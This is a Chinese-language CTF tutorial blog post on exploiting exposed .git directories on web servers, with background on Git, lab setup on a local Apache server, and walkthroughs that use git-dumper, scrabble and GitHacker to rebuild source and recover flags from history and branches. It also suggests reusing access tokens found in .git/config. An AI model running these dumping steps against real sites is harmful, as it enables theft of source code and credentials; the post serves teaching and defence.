iT邦幫忙

2021 iThome 鐵人賽

DAY 2
3

Q1. Git 是什麼?

  • Git 是一個分散式版本控管軟體,每個開發者手中都會有完整的一份副本,包含過去的修改紀錄,相較於集中式的版本控管軟體,可以避免版本控管伺服器的損壞導致資料遺失。
  • 而網路上的 GitHub、 GitLab 等網站,他們都不等於 Git,而是基於 Git 架設伺服器,建立 Git Remote Repository 的雲端代管服務,開發者可以將 Git Remote Repository 存放一份在網站上,利於與其他開發者同步,並額外提供了 Issue tracking、Pull Request、 CI/CD 等強大功能。

Git 教學文:https://backlog.com/git-tutorial/tw/intro/intro1_1.html

Git 結構:https://www.gushiciku.cn/pl/pErO/zh-tw

Git 遊戲:https://learngitbranching.js.org/?locale=zh_TW

商業 Git flow:https://gitbook.tw/chapters/gitflow/why-need-git-flow.html

Q2. 為什麼會有 Git 洩漏?

  • 許多工程師在撰寫程式時,會使用 Git 來做版本控管,在使用 Git 的時候,目錄底下會產生一個 .git 的隱藏檔案,裡面就是 git repository,會儲存程式的修改、新增、刪除等紀錄。
  • 若工程師直接將含有 .git 目錄的專案放到網頁伺服器的公開目錄,駭客便有可能下載 .git 中的資料,利用 git 的機制將原始碼重建。
  • 因此當工程師開發完成時,可能有兩個方法發佈較為妥當:
    • 額外將網頁程式碼製作一個副本 (不含 .git),再發佈到網頁伺服器。
    • 直接將含 git 目錄的專案放到網頁伺服器,但同時做好網頁的權限控管,也就是當你瀏覽 /.git 底下的全部內容時,會回傳 403。
  • 假如工程師在測試登入功能時,將 admin 的帳密紀錄在程式的註解中,並使用 git 紀錄到歷史版本中,當工程師不小心上傳 .git,並且沒有做權限控管,那麼駭客就能從洩漏的 .git 目錄中拿到帳密。
  • 此外,因為 .git 洩漏是已知且普遍的問題,有眾多工具可以協助駭客下載 .git 目錄並重建原始碼,只要網頁不小心將 .git 上傳,那就有許多人可以將網頁的 .git 下載下來,反倒甚至出現針對這種工具漏洞的攻擊:
    • 攻擊者會構建惡意的 .git 目錄,故意將其中的一些資料路徑修改,例如將文件路徑加上很多 ../../../ ,一旦重建工具沒有檢查路徑,重構資料就可以隨意覆蓋到你的正常檔案。
    • https://drivertom.blogspot.com/2021/08/git.html

Q3. Git 的還原工具

Q4. Git 儲存資料的位置

  • 由於 git 版本不斷更新,有些資料、目錄位置、內容可能也會改變,我把一些目前蒐集到的資訊彙整

  • 一般來說,只要網址/.git 可以看到東西,基本上就能將程式還原,但是有時候網址輸入 /.git 會出現 403 (「無權」訪問指定的URL而非 「檔案不存在」,代表 .git 目錄可能是存在的,你可以嘗試 /.git/config,看他有沒有擋),或是用其他方式拿到 .git 的資料,例如下載 (參考資料)

  • 網址/.git/logs/HEAD 儲存 git 的 log,可以找到歷史 commit

  • 網址/.git/refs/heads/master 會記錄 master 的 commit hash,可以分解出該 commit 的資料

  • 網址/.git/refs/heads 底下會放所有分支的名字資料夾

  • 網址/.git/refs/stash 用於暫時保存 git 工作進度,可以把做到一半的東西先藏起來(stash),不要 commit 出去

    • git stash list 顯示 stash 內的所有內容
    • git stash pop 把剛剛做到一半存在 stash 的資料還原
  • 網址/.git/info/packs packs 的件提取與恢復 (比較少考)

  • 網址/.git/index 會儲存 git add 的資料

  • 參考資料:https://www.jianshu.com/p/0ea09975169d

  • 參考資料: https://www.gushiciku.cn/pl/pErO/zh-tw

Q5. Git 洩漏類型

  • 我們將 Git 洩漏分成為下列幾種 ( 我們會將需要根據你的條件輸入的資料,使用 <描述> 做表示,真正輸入指令時,不需要將打 <> )
    1. 一般 git 洩漏:他們將資料儲存於 .git 中,可以透過下列步驟找到資料
      • ./scrabble <有 .git 洩漏的網址>
        • 使用 scrabble 工具將 .git 還原
      • ls -al
        • 列出目前目錄底下有哪些資料,會看到 dump 出來的資料,可能會有 flag.txt 的檔案
      • cat <你找到的 flag 檔案>
    2. git 回溯:git 功能是做版本控制,所以會將程式不斷進行修改、commit,所以可能 flag 檔案在某個時間被創建出來,但是下一個版本將 flag 檔案進行刪除、覆蓋,此時,我們可以使用 git 的 指令回溯 (可以看 Lab 1 實作)
      • 重複一般洩漏 1 的流程,你將會拿到 git 最新版本的資料, flag.txt 裡面可能沒有我們要的正確 flag
      • git reset --hard HEAD^
        • HEAD 為目前版本,而 HEAD^ 為跳到上一個版本
        • HEAD^數字,代表跳幾個版本,例如 HEAD^2
      • ls -al
        • 回到上一個版本的情況,檢視目錄底下有哪些資料,可能會看見過去還沒被刪除/修改的 flag.txt
      • cat <找到的 flag 檔案>
      • 補充:可以使用下列指令
        • git log --stat
          • 相對於 git log,可以看到該 commit 修改了哪些檔案
        • git log --all
          • 把會關聯到的東西都顯示
        • git diff HEAD <commit 的 id>
          • 比較當前版本跟想看的 commit 之間的差異
        • git branch -v
          • 印出有哪些分支,還有全部分支的 commit
    3. git 分支:git 一開始會有一個 master 的主線,可能隨著開發,分出很多分支 ( 可以參考 Git flow 的介紹 ),flag 可能不會藏在 master 中,而是藏在某個分支中,所以我們要切換分支才能找到 flag,目前大多數的 git 還原工具,不支援分支,GitHacker 有支援,所以使用此工具 (可以看 Lab 2 實作)
      • githacker —-url <網址/.git> —folder <git還原出來的檔案儲存位置>
        • 在這裡可以看到其他分支,可能叫做 dev
      • cd <儲存位置>
      • git checkout <會看到分支名字>
        • 切到該分支
      • cat <檔案>
        • 查看可能藏資料的檔案
    4. 其他 Git 的洩漏利用
      • ./git/config 可能會有 access_token 的資訊,可以利用此資訊 access 這個使用者的其他倉庫

Lab 0. git dumper 實作示範:

# 下載 git dumper 工具
git clone https://github.com/arthaud/git-dumper
# 切進下載的目錄
cd git-dumper/
# 將 requirements.txt 修改權限
chmod 755 requirements.txt
# 安裝 git dummper 需要的資料
pip install -r requirements.txt

# 使用 git-dumper 還原網站的 .git  
./git-dumper.py <目標網址/.git> <還原 git 後,要儲存的地方>

# 先切到剛剛儲存的地方
cd <剛剛儲存的地方>
# 查看有什麼檔案,可以 cat 資料
ls -al
# 查看 LOG 紀錄,假設找到 add flag (這是 commit 的資訊,非新增 flag 這個檔案) 的節點,記住 07fd.....ee55
git log

https://ithelp.ithome.com.tw/upload/images/20210918/20140592KwkkN3zED8.png

# git 推回這個 07fd.....ee55 節點
git checkout 07fd3f193ca3e23fdd27383bd398e6957e82ee55

https://ithelp.ithome.com.tw/upload/images/20210916/20140592L4prDE5oRe.png

# 檢查 log 紀錄,看是否有推回到 add flag 的節點上
git log
# 查看目錄底下有哪些資料,找 flag
ls -al

Lab 1 題目環境製作

Server OS: Ubuntu Server 20.04.3

  1. 安裝 Web Server:此處使用 Apache

    sudo apt install apache2
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592rerwJiZYyz.png

  1. 建立 Git Repository:此處建立於 /var/www/html/git_1

    REPO="/var/www/html/git_1"
    
    # Create the folder
    sudo mkdir "${REPO}"
    
    # Enter the folder
    cd "${REPO}"
    
    # Take the ownership
    sudo chown -R "$(whoami)" . 
    
    # Initialize Git Repo
    git init
    

https://ithelp.ithome.com.tw/upload/images/20210916/201405920gc7DRytYO.png

  1. 儲存 flag

    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
    git add index.php
    git commit -m "Store Secret Flag"
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592FtcX40Lolq.png

  1. 將 flag 改掉

    echo "You cannot see my secret now!" > index.php
    git add index.php
    git commit -m "Delete Secret Flag"
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592y393KK9kVF.png

https://ithelp.ithome.com.tw/upload/images/20210916/20140592PwsYjcX4t9.png

Lab 1 解題

此處使用 Denny 大大製作的 scrabble 工具

# Download Tool
git clone https://github.com/denny0223/scrabble.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../scrabble/scrabble http://172.16.28.2/git_1

https://ithelp.ithome.com.tw/upload/images/20210916/20140592LhDoKgZo7h.png
查看哪個 commit 修改過儲存 flag 的檔案

git log --stat

https://ithelp.ithome.com.tw/upload/images/20210918/201405920my7yEWHzr.png
查看修改的內容

git diff HEAD bbfc3a

https://ithelp.ithome.com.tw/upload/images/20210916/20140592HRfnl6yIgX.png

Lab 2 題目環境製作

  1. 建立 Git Repository:此處建立於 /var/www/html/git_2

    REPO="/var/www/html/git_2"
    
    # Create the folder
    sudo mkdir "${REPO}"
    
    # Enter the folder
    cd "${REPO}"
    
    # Take the ownership
    sudo chown -R "$(whoami)" . 
    
    # Initialize Git Repo
    git init
    

https://ithelp.ithome.com.tw/upload/images/20210916/20140592QyYtjWGH92.png
2. 建立初始 Commit

    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > flag.php
    git add flag.php
    git commit -m "Store Secret Flag"

https://ithelp.ithome.com.tw/upload/images/20210916/201405929ZSMTi2kdC.png
3. 儲存 flag 到 dev 分支

    # Create and checkout to branch dev
    git checkout -b dev

    # Store flag
    echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
    git add index.php
    git commit -m "Store Secret Flag"

https://ithelp.ithome.com.tw/upload/images/20210916/20140592F9D8GRWAXa.png
4. 切換回 master 分支,此時 index.php 中沒有東西

    git checkout master
    cat index.php

https://ithelp.ithome.com.tw/upload/images/20210916/201405928mSHO0xOj5.png

Lab 2 解題

安裝 GitHacker

# Create virutal environment
python3 -m venv

# Enter venv
source venv/bin/activate

# Install GitHacker
pip install GitHacker

https://ithelp.ithome.com.tw/upload/images/20210916/20140592JN13WjbJ44.png
Dump

githacker --url http://172.16.28.2/git_2/.git/ --folder result

https://ithelp.ithome.com.tw/upload/images/20210916/20140592cupNW14gYD.png
切換到 dev,拿到 flag

cd result
git checkout dev
cat index.php

https://ithelp.ithome.com.tw/upload/images/20210916/20140592fflDFDt9vQ.png


上一篇
【第一天 - CTF介紹】
下一篇
【第三天 - SVN 洩漏】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言